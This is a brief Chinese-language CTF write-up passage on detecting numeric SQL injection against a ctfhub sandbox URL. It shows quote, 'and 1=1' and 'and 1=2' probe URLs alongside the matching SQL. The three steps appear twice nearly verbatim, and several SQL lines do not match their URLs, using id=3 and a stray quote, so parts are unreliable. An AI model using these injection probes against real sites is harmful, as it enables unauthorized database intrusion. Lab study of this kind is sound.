URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
2)加and 1=1
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
3)加and 1=2
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
2)加and 1=1
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
3)加and 1=2
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。